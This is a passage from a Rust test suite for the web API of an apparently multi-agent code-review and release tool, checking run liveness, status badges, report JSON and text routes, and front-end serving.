20358 observed.get(field).is_none(),
20359 "progress must not expose control evidence: {field}"
20360 );
20361 }
20362 }
20363
20364 #[tokio::test]
20371 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20372 let f = Fixture::start().await;
20373 let id = "20260922-090000-cccc";
20374 let mut state = RunState::new(
20375 PathBuf::from("/repo/magi"),
20376 "main".to_owned(),
20377 "0123456789abcdef".to_owned(),
20378 "Review only".to_owned(),
20379 Config::default(),
20380 );
20381 state.id = id.to_owned();
20382 state.status = RunStatus::Reviewing;
20383 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20384 state.driver_pid = Some(std::process::id());
20390 state.driver_started_at = Some(
20391 crate::proc::process_started_at(std::process::id())
20392 .expect("this test process's own start time must be queryable"),
20393 );
20394 let dir = f.runs().join(id);
20395 std::fs::create_dir_all(&dir).expect("run dir");
20396 std::fs::write(
20397 dir.join("run.json"),
20398 serde_json::to_string_pretty(&state).expect("serialize run"),
20399 )
20400 .expect("write run.json");
20401
20402 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20403 assert_eq!(detail["live"], "live", "{detail}");
20404 }
20405
20406 #[tokio::test]
20412 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20413 let f = Fixture::start().await;
20414 let id = "20260922-090100-dddd";
20415 let mut state = RunState::new(
20416 PathBuf::from("/repo/magi"),
20417 "main".to_owned(),
20418 "0123456789abcdef".to_owned(),
20419 "Review only".to_owned(),
20420 Config::default(),
20421 );
20422 state.id = id.to_owned();
20423 state.status = RunStatus::Reviewing;
20424 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20425 state.driver_pid = Some(std::process::id());
20430 state.driver_started_at = Some("1".to_owned());
20431 let dir = f.runs().join(id);
20432 std::fs::create_dir_all(&dir).expect("run dir");
20433 std::fs::write(
20434 dir.join("run.json"),
20435 serde_json::to_string_pretty(&state).expect("serialize run"),
20436 )
20437 .expect("write run.json");
20438
20439 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20440 assert_eq!(detail["live"], "dead", "{detail}");
20441 }
20442
20443 #[test]
20447 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20448 let mk = |id: &str, pid: Option<u32>| {
20449 let mut s = RunState::new(
20450 PathBuf::from("/repo/magi"),
20451 "main".to_owned(),
20452 "0123456789abcdef".to_owned(),
20453 "Add a web UI".to_owned(),
20454 Config::default(),
20455 );
20456 s.id = id.to_owned();
20457 s.driver_pid = pid;
20458 s.driver_started_at = Some("1790000000".to_owned());
20459 s
20460 };
20461 let states = vec![
20462 mk("20260902-140502-aaaa", Some(77)),
20463 mk("20260902-140502-bbbb", Some(77)),
20464 mk("20260902-140502-cccc", Some(77)),
20465 mk("20260902-140502-dddd", None),
20466 ];
20467 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20468 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20469 let sup: HashMap<String, String> = [(
20470 "20260902-140502-aaaa".to_owned(),
20471 "20260902-140502-cccc".to_owned(),
20472 )]
20473 .into();
20474
20475 let status_calls = std::cell::Cell::new(0);
20476 let identity_calls = std::cell::Cell::new(0);
20477 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20478 |_| {
20479 status_calls.set(status_calls.get() + 1);
20480 Some(true)
20481 },
20482 |_| {
20483 identity_calls.set(identity_calls.get() + 1);
20484 Some("1790000000".to_owned())
20485 },
20486 ));
20487 let rows = summarize(
20488 states,
20489 &open,
20490 &claimed,
20491 &sup,
20492 |p| probe.borrow_mut().status(p),
20493 |p| probe.borrow_mut().started_at(p),
20494 );
20495
20496 assert_eq!(status_calls.get(), 1, "one pid, one status query");
20497 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20498 assert_eq!(rows.len(), 4);
20499 assert!(!rows[0].waiting && rows[1].waiting);
20500 assert_eq!(rows[0].live, crate::run::Liveness::Live);
20501 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20502 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20503 assert_eq!(rows[1].superseded_by, None);
20504 }
20505
20506 #[test]
20507 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20508 let mut state = RunState::new(
20509 PathBuf::from("/repo/magi"),
20510 "main".to_owned(),
20511 "0123456789abcdef".to_owned(),
20512 "Review only".to_owned(),
20513 Config::default(),
20514 );
20515 state.id = "20260922-090200-dead".to_owned();
20516 state.status = RunStatus::Reviewing;
20517 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20518 .expect("serialize list row");
20519 assert_eq!(row["status"], "reviewing");
20520 assert_eq!(row["display_status"], "stale");
20521 assert_eq!(row["live"], "dead", "{row}");
20522 assert!(!row["done"].as_bool().unwrap());
20523 }
20524
20525 #[test]
20526 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20527 use crate::run::Liveness::{Dead, Live, Unknown};
20528 let mut state = RunState::new(
20529 PathBuf::from("/repo/magi"),
20530 "main".to_owned(),
20531 "abc".to_owned(),
20532 "Review only".to_owned(),
20533 Config::default(),
20534 );
20535 for (status, parked, node, waiting, live, expected) in [
20536 (
20537 RunStatus::Judging,
20538 true,
20539 "github-text",
20540 false,
20541 Dead,
20542 "parked",
20543 ),
20544 (RunStatus::Judging, false, "park", false, Dead, "stale"),
20545 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20546 (
20547 RunStatus::Judging,
20548 true,
20549 "github-text",
20550 true,
20551 Dead,
20552 "waiting",
20553 ),
20554 (
20555 RunStatus::Judging,
20556 false,
20557 "github-text",
20558 true,
20559 Dead,
20560 "waiting",
20561 ),
20562 (
20563 RunStatus::Judging,
20564 false,
20565 "github-text",
20566 false,
20567 Dead,
20568 "stale",
20569 ),
20570 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20571 (RunStatus::Judging, true, "park", false, Live, "judging"),
20572 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20573 (RunStatus::Merged, true, "park", false, Dead, "merged"),
20574 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20575 (
20576 RunStatus::Blocked,
20577 true,
20578 "github-text",
20579 true,
20580 Dead,
20581 "waiting",
20582 ),
20583 ] {
20584 state.status = status;
20585 state.parked = parked;
20586 state.events.clear();
20587 state.event(
20588 "park",
20589 "an earlier park does not determine the latest state",
20590 );
20591 state.event(node, "message is not used for classification");
20592 let summary = RunSummary::of(&state, waiting, live);
20593 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20594 assert_eq!(
20595 summary.display_status, expected,
20596 "{status:?}/{node}/{live:?}"
20597 );
20598 assert_eq!(detail.display_status, summary.display_status);
20599 assert_eq!(detail.waiting, summary.waiting);
20600 }
20601 state.status = RunStatus::Judging;
20602 state.parked = false;
20603 state.events.clear();
20604 assert_eq!(run_display_status(&state, false, Dead), "stale");
20605 }
20606
20607 #[test]
20608 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20609 use crate::run::Liveness::{Dead, Live, Unknown};
20610 let mut state = RunState::new(
20611 PathBuf::from("/repo/magi"),
20612 "main".to_owned(),
20613 "abc".to_owned(),
20614 "Badge".to_owned(),
20615 Config::default(),
20616 );
20617 for (status, waiting, live, superseded, expected) in [
20618 (RunStatus::Gating, false, Dead, false, "stale"),
20619 (RunStatus::Gating, false, Dead, true, "superseded"),
20620 (RunStatus::Gating, false, Unknown, true, "superseded"),
20621 (RunStatus::Gating, true, Dead, true, "superseded"),
20622 (RunStatus::Gating, true, Dead, false, "waiting"),
20623 (RunStatus::Gating, false, Unknown, false, "gating"),
20624 (RunStatus::Gating, false, Live, true, "gating"),
20625 (RunStatus::Gating, true, Live, true, "waiting"),
20626 (RunStatus::Merged, false, Dead, true, "merged"),
20627 (RunStatus::Blocked, false, Dead, true, "blocked"),
20628 ] {
20629 state.status = status;
20630 let display = run_display_status(&state, waiting, live);
20631 assert_eq!(
20632 run_badge_status(&state, &display, live, superseded),
20633 expected,
20634 "{status:?}/{live:?}/superseded={superseded}"
20635 );
20636 }
20637 }
20638
20639 #[test]
20640 fn summarize_and_detail_expose_badge_status() {
20641 use crate::run::Liveness::Dead;
20642 let mut state = RunState::new(
20643 PathBuf::from("/repo/magi"),
20644 "main".to_owned(),
20645 "abc".to_owned(),
20646 "Badge".to_owned(),
20647 Config::default(),
20648 );
20649 state.status = RunStatus::Gating;
20650 let none = HashSet::new();
20651 let id = state.id.clone();
20652 let mut by = HashMap::new();
20653 let rows = summarize(
20654 [state.clone()],
20655 &none,
20656 &none,
20657 &by,
20658 |_| Some(false),
20659 |_| None,
20660 );
20661 assert_eq!(rows[0].badge_status, rows[0].display_status);
20663 by.insert(id, "20260901-000000-913b".to_owned());
20664 let detail = RunDetailView::of(
20665 state.clone(),
20666 false,
20667 Dead,
20668 Some("913b".to_owned()),
20669 None,
20670 None,
20671 );
20672 assert_eq!(detail.badge_status, "superseded");
20673 let json = serde_json::to_value(&detail).unwrap();
20674 assert_eq!(json["badge_status"], "superseded");
20675 let detail = RunDetailView::of(state, false, Dead, None, None, None);
20676 assert_eq!(detail.badge_status, "stale");
20677 }
20678
20679 #[tokio::test]
20680 async fn run_display_status_routes_share_the_open_question_store() {
20681 let f = Fixture::start().await;
20682 let id = "20260922-090200-abcd";
20683 write_run(&f.runs(), id, RunStatus::Judging);
20684 let mut state = read_run(&f.runs(), id).unwrap();
20685 state.parked = true;
20686 state.driver_exited = true;
20687 state.event("github-text", "waiting for the owner");
20688 state.save_under(f.home.path()).unwrap();
20689 let mut task = Task::new(
20690 "resumed task".to_owned(),
20691 "do it".to_owned(),
20692 PathBuf::from("/repo"),
20693 Source::Human,
20694 );
20695 task.runs = vec![id.to_owned(), id.to_owned()];
20696 f.queue().put(&mut task).unwrap();
20697 let store = f.questions();
20698 let mut q = Question::new(
20699 id.to_owned(),
20700 "github-text".to_owned(),
20701 "owner".to_owned(),
20702 "Approve the text?".to_owned(),
20703 String::new(),
20704 Vec::new(),
20705 );
20706 store.put(&mut q).unwrap();
20707 for expected in ["waiting", "parked"] {
20708 let list = f.get("/api/runs").await.json();
20709 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20710 assert_eq!(list[0]["display_status"], expected);
20711 assert_eq!(detail["display_status"], expected);
20712 assert_eq!(detail["waiting"], list[0]["waiting"]);
20713 assert_eq!(list[0]["badge_status"], expected);
20714 assert_eq!(detail["badge_status"], expected);
20715 assert!(list[0]["superseded_by"].is_null());
20716 assert!(detail["superseded_by"].is_null());
20717 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20718 let history = task_detail["history"].as_array().unwrap();
20719 assert_eq!(history.len(), 2);
20720 assert!(history[0]["badge"].is_null());
20721 assert_eq!(history[1]["badge"], expected);
20722 q.status = ask::QuestionStatus::Answered;
20723 store.put(&mut q).unwrap();
20724 }
20725 }
20726
20727 #[tokio::test]
20728 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20729 let f = Fixture::start().await;
20730 let id = "20260922-090200-abcd";
20731 write_run(&f.runs(), id, RunStatus::Judging);
20732 let mut state = read_run(&f.runs(), id).unwrap();
20733 state.parked = true;
20734 state.driver_exited = true;
20735 state.event("park", "stopped at a node boundary");
20736 state.save_under(f.home.path()).unwrap();
20737
20738 for expected in ["parked", "stale"] {
20739 let list = f.get("/api/runs").await.json();
20740 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20741 assert_eq!(list[0]["live"], "dead");
20742 assert_eq!(list[0]["display_status"], expected);
20743 assert_eq!(detail["display_status"], expected);
20744 state.parked = false;
20747 state.save_under(f.home.path()).unwrap();
20748 }
20749 }
20750
20751 #[tokio::test]
20752 async fn the_run_list_is_newest_first_and_honours_a_limit() {
20753 let f = Fixture::start().await;
20754 for id in [
20755 "20260902-140501-aaaa",
20756 "20260902-140502-bbbb",
20757 "20260902-140503-cccc",
20758 ] {
20759 write_run(&f.runs(), id, RunStatus::Merged);
20760 }
20761
20762 let all = f.get("/api/runs").await.json();
20763 let capped = f.get("/api/runs?limit=2").await.json();
20764
20765 assert_eq!(all[0]["id"], "20260902-140503-cccc");
20766 assert_eq!(all.as_array().map(Vec::len), Some(3));
20767 assert_eq!(capped.as_array().map(Vec::len), Some(2));
20768 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20769 }
20770
20771 #[tokio::test]
20772 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20773 let f = Fixture::start().await;
20774 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20775
20776 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20777
20778 assert_eq!(res.status, 200);
20779 assert!(
20780 res.headers
20781 .contains("content-type: text/plain; charset=utf-8"),
20782 "a browser must render it, not download it: {}",
20783 res.headers
20784 );
20785 assert!(
20789 res.body.contains("20260902-140501-a1b2"),
20790 "the report is about the run that was asked for: {}",
20791 res.body
20792 );
20793 }
20794
20795 #[tokio::test]
20796 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20797 crate::run::pin_test_home();
20799 let f = Fixture::start().await;
20800 let id = "20260902-140501-a1b2";
20801 write_run(&f.runs(), id, RunStatus::Stalled);
20802 let path = f.runs().join(id).join("run.json");
20805 let mut v: serde_json::Value =
20806 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20807 v["tally"] = serde_json::json!({
20808 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20809 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20810 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20811 "met_quorum": false, "rankings": 1
20812 });
20813 v["reviews"] = serde_json::json!([{
20814 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20815 "e2e_deferred": true,
20816 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20817 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20818 ]}]
20819 }]);
20820 std::fs::write(&path, v.to_string()).unwrap();
20821 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20822 std::fs::write(
20823 f.runs().join("20260902-140502-dead").join("run.json"),
20824 "{not json",
20825 )
20826 .unwrap();
20827
20828 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20829
20830 assert_eq!(res.status, 200, "{}", res.body);
20831 assert!(res.headers.contains("content-type: application/json"));
20832 let j = res.json();
20833 assert_eq!(j["schema"], 1);
20834 assert_eq!(j["header"]["id"], id);
20835 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20836 let kinds: Vec<&str> = j["sections"]
20837 .as_array()
20838 .unwrap()
20839 .iter()
20840 .map(|s| s["kind"].as_str().unwrap())
20841 .collect();
20842 assert_eq!(kinds, ["candidates", "tally", "review"]);
20843 let tally = &j["sections"][1]["tally"];
20844 assert_eq!(
20845 (tally["decided"].clone(), tally["provisional"].clone()),
20846 (false.into(), true.into())
20847 );
20848 let round = &j["sections"][2]["rounds"][0];
20849 assert_eq!(round["e2e"]["state"], "deferred");
20850 assert_eq!(round["findings"][0]["severity"], "major");
20851 assert_eq!(round["findings"][0]["blocking"], true);
20852 assert_eq!(round["findings"][0]["state"], "open");
20853
20854 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20856
20857 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20859 assert_ne!(bad.status, 200, "{}", bad.body);
20860 assert_eq!(
20861 bad.status,
20862 f.get("/api/runs/20260902-140502-dead/report").await.status
20863 );
20864 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20865 assert_eq!(
20866 f.get("/api/runs/20260902-999999-ffff/report.json")
20867 .await
20868 .status,
20869 404
20870 );
20871 }
20872
20873 #[tokio::test]
20874 async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
20875 crate::run::pin_test_home();
20876 let f = Fixture::start().await;
20877 let id = "20260902-140505-facts";
20878 write_run(&f.runs(), id, RunStatus::Stalled);
20879 let path = f.runs().join(id).join("run.json");
20880 let mut v: serde_json::Value =
20881 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20882 v["candidates"] = serde_json::json!([{
20883 "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
20884 "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
20885 }]);
20886 v["tally"] = serde_json::json!({
20887 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20888 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20889 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20890 "met_quorum": false, "rankings": 1
20891 });
20892 v["quota"] = serde_json::json!([
20893 {
20894 "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
20895 "agent": "signed-out", "cause": "authentication"
20896 },
20897 {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
20898 ]);
20899 v["startup"] = serde_json::json!({
20900 "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
20901 "failure": "fetch refused\ncredentials expired"
20902 });
20903 v["recovery"] = serde_json::json!({
20904 "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
20905 "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
20906 "repair": {"started": {"before": "abcdef012345"}}
20907 });
20908 v["reviews"] = serde_json::json!([{
20909 "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
20910 "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
20911 "vote_split": true, "verdict": "approve_with_findings",
20912 "e2e": [{
20913 "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
20914 }],
20915 "reviews": [
20916 {"reviewer": 1, "agent": "reviewer", "vote": "reject",
20917 "summary": "Initial **concern**.\n\nPlease inspect.",
20918 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
20919 {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
20920 ],
20921 "reconsideration": [{
20922 "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
20923 "reason": "The blocker is resolved.\nOne minor issue remains."
20924 }]
20925 }]);
20926 v["merge_repairs"] = serde_json::json!([{
20927 "question": "question-42", "head": "abcdef012345",
20928 "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
20929 "gate": [], "phase": "Failed",
20930 "failure": "owner decision required\ninspect updated results"
20931 }]);
20932 v["bump_decision_attempts"] = serde_json::json!([
20933 {"agent": "first", "outcome": "unavailable"},
20934 {"agent": "second", "outcome": "patch\naccepted"}
20935 ]);
20936 v["release_bump"] = serde_json::json!({
20937 "version": "1.2.3", "local": true,
20938 "problem": "publish failed\nregistry refused",
20939 "release": {
20940 "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
20941 "failed": "registry refused\nawait owner approval",
20942 "log": [{
20943 "name": "cargo publish", "code": 1,
20944 "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
20945 }]
20946 }
20947 });
20948 std::fs::write(&path, v.to_string()).unwrap();
20949
20950 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20951 assert_eq!(res.status, 200, "{}", res.body);
20952 let j = res.json();
20953 assert_eq!(j["schema"], 1);
20954 assert_eq!(j["header"]["tone"], "warn");
20955 assert_eq!(
20956 j["header"]["startup"],
20957 "review branch=topic stage=fetch complete=false"
20958 );
20959 assert_eq!(
20960 j["header"]["startup_failure"],
20961 "fetch refused\ncredentials expired"
20962 );
20963 assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
20964 assert_eq!(
20965 j["sections"][0]["items"][0]["detail"],
20966 "Already covered.\nNo patch needed."
20967 );
20968 assert_eq!(
20969 j["sections"][1]["tally"]["rate_limited"],
20970 serde_json::json!(["judge-1", "judge-2"])
20971 );
20972 let sections = j["sections"].as_array().unwrap();
20973 let labels: Vec<_> = sections
20974 .iter()
20975 .map(|section| {
20976 section["key"]
20977 .as_str()
20978 .or_else(|| section["kind"].as_str())
20979 .unwrap()
20980 })
20981 .collect();
20982 assert_eq!(
20983 labels,
20984 [
20985 "candidates",
20986 "tally",
20987 "quota_details",
20988 "recovery",
20989 "review",
20990 "merge_repairs",
20991 "release_decision_attempts",
20992 "release_bump",
20993 "release_execution"
20994 ]
20995 );
20996 let note = |key: &str| {
20997 sections
20998 .iter()
20999 .find(|section| section["kind"] == "notes" && section["key"] == key)
21000 .unwrap()
21001 };
21002 let unavailable = note("quota_details");
21003 assert_eq!(unavailable["tone"], "warn");
21004 assert_eq!(
21005 unavailable["lines"],
21006 serde_json::json!([
21007 "judge-1 (signed-out: re-authenticate)",
21008 "judge-2 (usage limit)"
21009 ])
21010 );
21011 let recovery = note("recovery");
21012 assert_eq!(recovery["tone"], "warn");
21013 assert!(
21014 recovery["lines"][0]
21015 .as_str()
21016 .unwrap()
21017 .contains("head moved\nreview the new diff")
21018 );
21019 assert_eq!(
21020 recovery["lines"][1],
21021 "the task's own completion criteria were kept"
21022 );
21023 assert_eq!(recovery["lines"][2], "repair: unfinished");
21024 let review = sections
21025 .iter()
21026 .find(|section| section["kind"] == "review")
21027 .unwrap();
21028 assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21029 let round = &review["rounds"][0];
21030 assert_eq!(round["verified_head"], "fedcba9");
21031 assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21032 assert_eq!(round["status"], "incomplete");
21033 assert_eq!(round["e2e"]["state"], "pass");
21034 assert_eq!(round["reviewers"][0]["vote"], "reject");
21035 assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21036 assert_eq!(
21037 round["reviewers"][0]["reason"],
21038 "Initial **concern**.\n\nPlease inspect."
21039 );
21040 assert!(
21041 !round["reviewers"][0]["reason_md"]
21042 .as_array()
21043 .unwrap()
21044 .is_empty()
21045 );
21046 assert!(round["reviewers"][1]["final_vote"].is_null());
21047 assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21048 assert_eq!(
21049 round["reconsideration"][0]["reason"],
21050 "The blocker is resolved.\nOne minor issue remains."
21051 );
21052 assert!(
21053 !round["reconsideration"][0]["reason_md"]
21054 .as_array()
21055 .unwrap()
21056 .is_empty()
21057 );
21058 let repairs = note("merge_repairs");
21059 assert_eq!(repairs["tone"], "warn");
21060 assert_eq!(
21061 repairs["lines"][0],
21062 "question question-42 head abcdef012345 Failed\nhttps://example.test/pull/42"
21063 );
21064 assert_eq!(
21065 repairs["lines"][1],
21066 "held: owner decision required\ninspect updated results"
21067 );
21068 assert_eq!(
21069 repairs["lines"][2],
21070 "original [R1-1-1] Minor: Check edge case"
21071 );
21072 assert_eq!(
21073 repairs["lines"][3],
21074 "original reviewer #1: ApproveWithFindings"
21075 );
21076 assert_eq!(
21077 repairs["lines"][4],
21078 "Repair never approves a merge; updated results require a fresh owner decision."
21079 );
21080 let attempts = note("release_decision_attempts");
21081 assert_eq!(attempts["tone"], "neutral");
21082 assert_eq!(
21083 attempts["lines"],
21084 serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21085 );
21086 let bump = sections
21087 .iter()
21088 .find(|section| section["kind"] == "release_bump")
21089 .unwrap();
21090 assert_eq!(bump["bump"]["automerge"], "local");
21091 assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21092 assert_eq!(bump["tone"], "warn");
21093 let execution = note("release_execution");
21094 assert_eq!(execution["tone"], "warn");
21095 assert_eq!(
21096 execution["lines"][0],
21097 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21098 );
21099 assert_eq!(
21100 execution["lines"][1],
21101 "tag on remote: true; 1 command(s) completed"
21102 );
21103 assert_eq!(
21104 execution["lines"][2],
21105 "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21106 );
21107
21108 let raw = f.get(&format!("/api/runs/{id}/report")).await;
21110 assert_eq!(raw.status, 200);
21111 assert!(
21112 raw.headers
21113 .contains("content-type: text/plain; charset=utf-8")
21114 );
21115 assert!(raw.body.contains("fetch refused\ncredentials expired"));
21116 assert!(raw.body.contains("Already covered."));
21117 assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21118 assert!(raw.body.contains("judge-2 (usage limit)"));
21119 assert!(
21120 raw.body
21121 .contains("owner decision required\ninspect updated results")
21122 );
21123 assert!(raw.body.contains("2. second: patch\naccepted"));
21124 assert!(raw.body.contains(
21125 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21126 ));
21127
21128 let legacy_id = "20260902-140506-old";
21130 write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21131 let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21132 assert_eq!(legacy.status, 200, "{}", legacy.body);
21133 let legacy = legacy.json();
21134 assert!(legacy["header"]["startup"].is_null());
21135 assert!(legacy["header"]["startup_failure"].is_null());
21136 assert!(
21137 legacy["sections"]
21138 .as_array()
21139 .unwrap()
21140 .iter()
21141 .all(|section| section["kind"] != "notes")
21142 );
21143 }
21144
21145 #[tokio::test]
21146 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21147 crate::run::pin_test_home();
21148 let f = Fixture::start().await;
21149 let id = "20260902-140503-delib";
21150 write_run(&f.runs(), id, RunStatus::Merged);
21151 let path = f.runs().join(id).join("run.json");
21152 let mut v: serde_json::Value =
21153 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21154 v["judgements"] = serde_json::json!([
21155 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21156 ]);
21157 v["tally"] = serde_json::json!({
21158 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21159 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21160 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21161 "met_quorum": true, "rankings": 1
21162 });
21163 v["deliberation"] = serde_json::json!([
21164 {
21165 "round": 1,
21166 "turns": [
21167 {
21168 "judge": 1,
21169 "agent": "judge-1",
21170 "body": "I prefer candidate **A** because it has cleaner tests.",
21171 "tentative": "A"
21172 }
21173 ]
21174 },
21175 {
21176 "round": 2,
21177 "turns": [
21178 {
21179 "judge": 1,
21180 "agent": "judge-1",
21181 "body": "Still thinking, no choice yet.",
21182 "tentative": null
21183 }
21184 ]
21185 }
21186 ]);
21187 std::fs::write(&path, v.to_string()).unwrap();
21188
21189 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21190 assert_eq!(res.status, 200, "{}", res.body);
21191 let j = res.json();
21192 let judging = j["sections"]
21193 .as_array()
21194 .unwrap()
21195 .iter()
21196 .find(|s| s["kind"] == "judging")
21197 .expect("judging section exists");
21198
21199 let delib_lines = judging["deliberation"].as_array().unwrap();
21201 assert_eq!(delib_lines.len(), 2);
21202 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21203 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21204
21205 let rounds = judging["rounds"].as_array().unwrap();
21207 assert_eq!(rounds.len(), 2);
21208 let r1_t0 = &rounds[0]["turns"][0];
21209 assert_eq!(r1_t0["judge"], 1);
21210 assert_eq!(r1_t0["agent"], "judge-1");
21211 assert_eq!(r1_t0["tentative"], "A");
21212 assert_eq!(
21213 r1_t0["body"],
21214 "I prefer candidate **A** because it has cleaner tests."
21215 );
21216 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21217
21218 let r2_t0 = &rounds[1]["turns"][0];
21219 assert_eq!(r2_t0["judge"], 1);
21220 assert_eq!(r2_t0["agent"], "judge-1");
21221 assert!(r2_t0["tentative"].is_null());
21222 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21223 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21224
21225 let id_empty = "20260902-140504-nodelib";
21227 write_run(&f.runs(), id_empty, RunStatus::Merged);
21228 let path_empty = f.runs().join(id_empty).join("run.json");
21229 let mut v_empty: serde_json::Value =
21230 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21231 v_empty["judgements"] = serde_json::json!([
21232 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21233 ]);
21234 v_empty["deliberation"] = serde_json::json!([]);
21235 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21236
21237 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21238 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21239 let j_empty = res_empty.json();
21240 let judging_empty = j_empty["sections"]
21241 .as_array()
21242 .unwrap()
21243 .iter()
21244 .find(|s| s["kind"] == "judging")
21245 .expect("judging section exists");
21246 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21247 }
21248
21249 #[tokio::test]
21250 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21251 let f = Fixture::start().await;
21252
21253 let html = f.get("/").await;
21254 let css = f.get("/app.css").await;
21255 let js = f.get("/app.js").await;
21256
21257 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21258 assert!(
21259 html.headers
21260 .contains("content-type: text/html; charset=utf-8")
21261 );
21262 assert!(css.headers.contains("content-type: text/css"));
21263 assert!(js.headers.contains("content-type: text/javascript"));
21264 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21265 }
21266
21267 #[test]
21268 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21269 let body = |name: &str| {
21270 let at = APP_JS
21271 .find(name)
21272 .unwrap_or_else(|| panic!("{name} missing"));
21273 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21274 };
